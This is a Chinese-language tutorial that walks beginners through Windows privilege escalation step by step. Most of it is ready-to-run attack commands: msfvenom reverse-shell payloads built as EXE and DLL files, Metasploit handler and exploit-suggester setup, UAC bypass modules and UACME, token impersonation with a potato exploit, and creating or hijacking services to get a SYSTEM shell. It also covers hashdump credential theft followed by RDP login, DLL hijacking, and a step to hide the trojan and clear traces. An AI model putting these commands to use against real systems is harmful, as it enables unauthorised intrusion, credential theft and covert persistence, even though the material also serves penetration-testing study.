windows权限提升
前言:文章内容偏向于刚接触权限提升的师傅,是一篇对权限提升入门到精通的手把手教学文章,写文章的目的在于让更多的小白能有一个正确的方向去学习.
权限提升的目的是什么?
目的:获取更高级的权限---》做更多高权限相关操作
1信息收集
提权的思路最重要的就是信息收集,我们只有对整个系统进行了较全面的信息收集,大概对整个系统有了一定的了解后,我们才能高效且精准的完成提权
比方说:我们收集到这个系统是windows-sever2003的系统和里面的一些相关配置我们能联想到什么提权方法呢?
是不是可以先利用自动化工具(msf和cs)先去尝试-->针对低版本的系统命令-->进程迁移-->令牌窃取-->dll劫持-->不安全的服务-->手工提权这么一个流程
windows信息收集的常用命令
2、手工提权
手工提权一般是用于工具和一些提权方法没用的时候才会使用,我们提权的流程都是先用高效的工具->半自动工具->漏洞exp->一些系统命令->不安全的服务->手工提权
为什么手工提权放到最后是因为手工提权花费时间长,效率慢,我们先使用高效的工具能提权就能节省时间,实在没有提权的方法了才会使用手工提权
2.1、判断
常用的手工提权项目,可以自己去研究
https://github.com/vulmon/Vulmap
https://github.com/bitsadmin/wesng
https://github.com/chroblert/WindowsVulnScan
2.2、EXP利用
https://github.com/k8gege/Ladon
https://github.com/Ascotbe/KernelHub
https://github.com/nomi-sec/PoC-in-GitHub
https://github.com/offensive-security/exploitdb
http://cve.mitre.org/data/refs/refmap/source-MS.html
3、MSF提权
3.1、生成反弹后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=端口 -f exe -o msf.exe
3.2、配置监听会话
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.146.152
set lport 6666
run
后渗透的操作
background
把会话放到后台执行
3.3、筛选EXP模块
(半自动:根据漏洞编号找出系统中安装的补丁)
use post/windows/gather/enum_patches
set sessions 1
run
(全自动:快速识别系统中可能可以被利用的漏洞)
use post/multi/recon/local_exploit_suggester
set showdescription true
set sessions 1
run
绿色的才可能有用,一个个尝试
windows10提权
注意,在windows7以上都是有uac保护的,uac一般指用户账户控制。 用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。所以要提权首先得绕过uac
只有这两个模块可以成功提权
4、CS半自动
https://github.com/k8gege/Ladon
ladon40 badpotato whoami
用插件提权
===================================
系统命令提权
5、Win->AT命令提权
at命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用system权限。
5.1、适用版本:
Win2000 & Win2003 & XP中还是存在的,在Win7以后被剔除.
5.2、提权命令:
at 14.30 /interactive cmd
(在14:30分生成一个交互式的System权限的cmd)
6、Win->SC命令提权
sc是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务。适用版本:
6.1、适用版本
windows 7、8、03、08、12、16
6.2、提权命令
#创建一个名叫syscmd的新的交互式的cmd执行服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact
sc Create <服务名称> binPath="cmd /K start" type= own type= interact
#运行服务
sc start syscmd
sc start <服务名称>
7、Win->PS命令提权
7.1、适用版本
适用版本:Win2012 & Win2008 & Win2016 等
7.2、提权操作
上传PSEXEC.exe
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
psexec.exe -accepteula -s -i -d cmd #调用运行cmd•
用cs实战配合ps提权
首先先给windows服务器上传一个ps的执行命令
在cs上使用
shell cd
查看当前路径
在这个路径上上传一个ps命令
在回到会话界面使用
shell psexec.exe -accepteula -s -i -d cmd
命令提权,并截取屏幕查看
可以发现已经弹出系统权限的窗口
接下来我们就要使用远程连接进入对方的桌面
使用nmap探测对方 开启的端口
发现开启了3389端口,那就要拿到对方的账号和密码
使用cs
hashdump
密码抓取,并且拿去破解
获得密码使用kali
rdesktop ip:3389
输入账号密码登录
进去之后可以把这个最高权限反弹回我们的msf
已经获得最高权限,木马隐藏并清除痕迹
=======================================
8、Win->进程迁移提权
8.1、手动
pinjector.exe工具
pinjector -l
pinjector -p 436 cmd 2356
nc ip 端口
PS: nc -l 监听端口
8.2、MSF
1.生成木马并运行
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=端口 -f exe -o msf.exe
set lport=端口
set lhost=ip
set payload=木马的反弹payload
run
2.权限迁移
ps //查看进程
migrate PID //迁移对应PID
9、WIN->令牌窃取提权
令牌窃取 Win2008 Win2012 阿里云服务器
9.1、本地权限
use incognito
list_tokens -ux
impersonate_token "NT AUTHORITY\SYSTEM"
9.2、WEB权限
用于没有system权限的令牌时用烂土豆尝试盗取令牌
上传potato.exe
execute -cH -f ./potato.exe //配合烂土豆(原理:利用MS16_075漏洞)
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
10、WIN->getsysytem提权
10.1、MSF自动化提权
getsysytem
注意:getsystem命令原理就是令牌窃取
windows里面会有uac保护,所以我们要绕过uac获取令牌再提权
10.2、UAC绕过
10.2.1、是什么?
uac一般指用户账户控制。 用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。
msconfig > 工具
UAC有三个模式 低、中、高。开启任意模式,getsystem命令失效。因此需要绕过
10.2.2、如何设置?
点击开始按钮,选择控制面板,系统安全》安全性与维护》选择更改用户账户控制设置选项
10.2.3、如何绕过?
使用msf搜索 UAC相关,可见到bypass模块
search UAC
-Test in Win7 本地电脑 本地权限
use exploit/windows/local/bypassuac
-Test in Win10 本地电脑 本地权限
use exploit/windows/local/ask (相当于钓鱼。用于高等级)
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup
10.3、UACME工具
https://github.com/hfiref0x/UACME
执行以下命令上线
Akagi64.exe 41 msf1.exe
Akagi64.exe <编号> <调用执行程序的完整路径>
23/41/61常用编号
msf通过上面工具上线后。执行getsystem即可
在cs上直接上传这个工具,然后使用msf的监听模块,使用命令执行上传的木马
可以发现使用了uac的工具已经成功绕过并且有了系统权限的令牌,直接使用getsystem成功提权
11、Win->dll劫持
工具
火绒剑+FLASHEXP
11.1、原理
原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
11.2、寻找目标
使用火绒剑
11.3、制作dll木马上传
利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。
msfvenom -p windows/meterpreter/reverse_tcp lhost=ip lport=端口 -f dll -o yeye.dll
放到一个软件替换掉里面的dll文件启动软件等待上线
12、Win->不带引号的不安全服务
12.1、原理
原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
服务名称: 为 C:/AA X86/MM.EXE 没有双引号+路径中有空格 有则这是不安全的
可构造木马即路径为: C:/AA.exe 如此上面服务被调用的时候会调用到我们的木马程序
12.2、检测
方式一
1.msf上线+上传jaws-enum.ps1文件
2.调用shell 中的 powershell
3.执行文件 .\jaws-enum.ps1
方式二
检测命令:wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
上图中 QiYouDaemon 可以被利用 ==》上传木马 D:/Program.exe 即可
12.3、利用
主动调用(需要高权限):sc start "QiYouDaemon"
被动调用:等待被调用(电脑重启等等)
13、Win->不安全的服务权限
13.1、原理
原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
13.2、检测
运行脚本
1.accesschk.exe -uwcqv "administrators" *
2.找权限为“SERVICE_ALL_ACCESS”的服务
3.配置 sc config "vds" binpath="C:\1.exe"
13.3、上线
sc start vds 手动启动上线/或者等待服务被调用上线